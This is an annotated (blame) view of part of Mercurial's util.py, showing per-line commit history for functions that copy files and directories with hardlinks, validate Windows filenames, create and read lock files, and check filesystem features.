c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1909 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1910 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1911 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data Siddharth Agarwal <sid0@fb.com> parents: 26665 diff changeset	1912 shutil.copymode(src, dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1913 if oldstat and oldstat.stat:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	1914 newstat = filestat.frompath(dest)
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1915 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1916 # stat of copied file is ambiguous to original one
36789 ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime Augie Fackler <augie@google.com> parents: 36747 diff changeset	1917 advanced = (
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1918 oldstat.stat[stat.ST_MTIME] + 1
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1919 ) & 0x7FFFFFFF
29204 ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29201 diff changeset	1920 os.utime(dest, (advanced, advanced))
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	1921 except shutil.Error as inst:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	1922 raise error.Abort(str(inst))
3629 4cfb72bcb978 util: add copyfile function Matt Mackall <mpm@selenic.com> parents: 3568 diff changeset	1923
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1924
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1925 def copyfiles(src, dst, hardlink=None, progress=None):
24439 2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1926 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles Augie Fackler <augie@google.com> parents: 24236 diff changeset	1927 num = 0
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1928
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1929 def settopic():
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1930 if progress:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1931 progress.topic = _(b'linking') if hardlink else _(b'copying')
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1932
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1933 if os.path.isdir(src):
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1934 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1935 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1936 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1937 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1938 settopic()
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1939 os.mkdir(dst)
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	1940 for name, kind in listdir(src):
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1941 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1942 dstname = os.path.join(dst, name)
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1943 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1944 num += n
1207 a7b8812973d9 Rewrite copytree as copyfiles mpm@selenic.com parents: 1200 diff changeset	1945 else:
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1946 if hardlink is None:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1947 hardlink = (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1948 os.stat(os.path.dirname(src)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1949 == os.stat(os.path.dirname(dst)).st_dev
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1950 )
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1951 settopic()
31724 456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories Jun Wu <quark@fb.com> parents: 31723 diff changeset	1952
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1953 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1954 try:
14235 b9e1b041744f rename util.os_link to oslink Adrian Buehlmann <adrian@cadifra.com> parents: 14234 diff changeset	1955 oslink(src, dst)
2050 e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2026 diff changeset	1956 except (IOError, OSError):
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1957 hardlink = False
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1958 shutil.copy(src, dst)
1241 3b4f05ff3130 Add support for cloning with hardlinks on windows. Stephen Darnell parents: 1207 diff changeset	1959 else:
1591 5a3229cf1492 do not copy atime and mtime in util.copyfiles Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 1585 diff changeset	1960 shutil.copy(src, dst)
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1961 num += 1
38386 63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1962 if progress:
63e6f5ae84bc copystore: use progress helper Martin von Zweigbergk <martinvonz@google.com> parents: 38323 diff changeset	1963 progress.increment()
698 df78d8ccac4c Use python function instead of external 'cp' command when cloning repos. Thomas Arendsen Hein <thomas@intevation.de> parents: 667 diff changeset	1964
11251 c61442f6d106 clone: print number of linked/copied files on --debug Adrian Buehlmann <adrian@cadifra.com> parents: 11232 diff changeset	1965 return hardlink, num
11254 640d419725d0 util.copyfiles: don't try os_link() again if it failed before Adrian Buehlmann <adrian@cadifra.com> parents: 11010 diff changeset	1966
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1967
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1968 _winreservednames = {
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1969 b'con',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1970 b'prn',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1971 b'aux',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1972 b'nul',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1973 b'com1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1974 b'com2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1975 b'com3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1976 b'com4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1977 b'com5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1978 b'com6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1979 b'com7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1980 b'com8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1981 b'com9',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1982 b'lpt1',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1983 b'lpt2',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1984 b'lpt3',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1985 b'lpt4',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1986 b'lpt5',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1987 b'lpt6',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1988 b'lpt7',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1989 b'lpt8',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1990 b'lpt9',
34069 ca6a3852daf0 util: use set for reserved Windows filenames Gregory Szorc <gregory.szorc@gmail.com> parents: 34020 diff changeset	1991 }
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	1992 _winreservedchars = b':*?"<>\|'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1993
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1994
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1995 def checkwinfilename(path):
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	1996 r'''Check that the base-relative path is a valid filename on Windows.
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1997 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	1998
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1999 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2000 >>> checkwinfilename(b"foo/bar/con.xml")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2001 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2002 >>> checkwinfilename(b"foo/con.xml/bar")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2003 "filename contains 'con', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2004 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2005 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2006 "filename contains 'AUX', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2007 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2008 "filename contains ':', which is reserved on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2009 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2010 "filename contains '\\x07', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2011 >>> checkwinfilename(b"foo/bar/bla ")
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2012 "filename ends with ' ', which is not allowed on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2013 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2014 >>> checkwinfilename(b"foo\\")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2015 "filename ends with '\\', which is invalid on Windows"
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2016 >>> checkwinfilename(b"foo\\/bar")
20000 0849d280663e util: warn when adding paths ending with \ Mads Kiilerich <madski@unity3d.com> parents: 19951 diff changeset	2017 "directory name ends with '\\', which is invalid on Windows"
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2018 '''
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2019 if path.endswith(b'\\'):
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2020 return _(b"filename ends with '\\', which is invalid on Windows")
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2021 if b'\\/' in path:
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2022 return _(b"directory name ends with '\\', which is invalid on Windows")
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2023 for n in path.replace(b'\\', b'/').split(b'/'):
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2024 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2025 continue
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	2026 for c in _filenamebytestr(n):
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2027 if c in _winreservedchars:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2028 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2029 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2030 b"filename contains '%s', which is reserved "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2031 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2032 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2033 % c
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2034 )
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2035 if ord(c) <= 31:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2036 return _(
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	2037 b"filename contains '%s', which is invalid on Windows"
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2038 ) % stringutil.escapestr(c)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2039 base = n.split(b'.')[0]
14262 23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars Adrian Buehlmann <adrian@cadifra.com> parents: 14250 diff changeset	2040 if base and base.lower() in _winreservednames:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2041 return (
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	2042 _(b"filename contains '%s', which is reserved on Windows")
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2043 % base
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2044 )
34362 7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename() Yuya Nishihara <yuya@tcha.org> parents: 34361 diff changeset	2045 t = n[-1:]
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2046 if t in b'. ' and n not in b'..':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2047 return (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2048 _(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2049 b"filename ends with '%s', which is not allowed "
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2050 b"on Windows"
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2051 )
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2052 % t
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2053 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2054
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2055
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	2056 if pycompat.iswindows:
13916 98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755) Adrian Buehlmann <adrian@cadifra.com> parents: 13910 diff changeset	2057 checkosfilename = checkwinfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2058 timer = time.clock
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2059 else:
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	2060 checkosfilename = platform.checkosfilename
30994 ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2061 timer = time.time
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2062
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2063 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer() Simon Farnsworth <simonfar@fb.com> parents: 30945 diff changeset	2064 timer = time.perf_counter
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2065
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2066
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2067 def makelock(info, pathname):
36724 d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2068 """Create a lock file atomically if possible
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2069
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2070 This may leave a stale lock file if symlink isn't supported and signal
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2071 interrupt is enabled.
d77c3b023393 lock: block signal interrupt while making a lock file Yuya Nishihara <yuya@tcha.org> parents: 36722 diff changeset	2072 """
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2073 try:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2074 return os.symlink(info, pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2075 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2076 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2077 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2078 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2079 pass
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2080
36791 1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2081 flags = os.O_CREAT \| os.O_WRONLY \| os.O_EXCL \| getattr(os, 'O_BINARY', 0)
1fbbb8e83392 py3: read/write plain lock file in binary mode Yuya Nishihara <yuya@tcha.org> parents: 36790 diff changeset	2082 ld = os.open(pathname, flags)
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2083 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2084 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2085
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2086
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2087 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2088 try:
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	2089 return readlink(pathname)
25660 328739ea70c3 global: mass rewrite to use modern exception syntax Gregory Szorc <gregory.szorc@gmail.com> parents: 25420 diff changeset	2090 except OSError as why:
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2091 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2092 raise
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2093 except AttributeError: # no symlink in os
7890 e710f0f592b2 util: split out posix, windows, and win32 modules Matt Mackall <mpm@selenic.com> parents: 7879 diff changeset	2094 pass
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2095 with posixfile(pathname, b'rb') as fp:
39910 4017968f0a1d util: use a context manager in readlock() Matt Harbison <matt_harbison@yahoo.com> parents: 39909 diff changeset	2096 return fp.read()
704 5ca319a641e1 Make makelock and readlock work on filesystems without symlink support. Thomas Arendsen Hein <thomas@intevation.de> parents: 698 diff changeset	2097
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2098
2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2099 def fstat(fp):
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2100 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2101 try:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2102 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2103 except AttributeError:
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2104 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2105
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2106
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2107 # File system features
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2108
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2109
29893 6f447b9ec263 util: rename checkcase() to fscasesensitive() (API) Martin von Zweigbergk <martinvonz@google.com> parents: 29843 diff changeset	2110 def fscasesensitive(path):
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2111 """
18911 451eb1c27c1b util: improve doc for checkcase Mads Kiilerich <mads@kiilerich.com> parents: 18868 diff changeset	2112 Return true if the given path is on a case-sensitive filesystem
3784 1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2113
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2114 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2115 directory component.
1427949b8f80 imported patch folding Matt Mackall <mpm@selenic.com> parents: 3770 diff changeset	2116 """
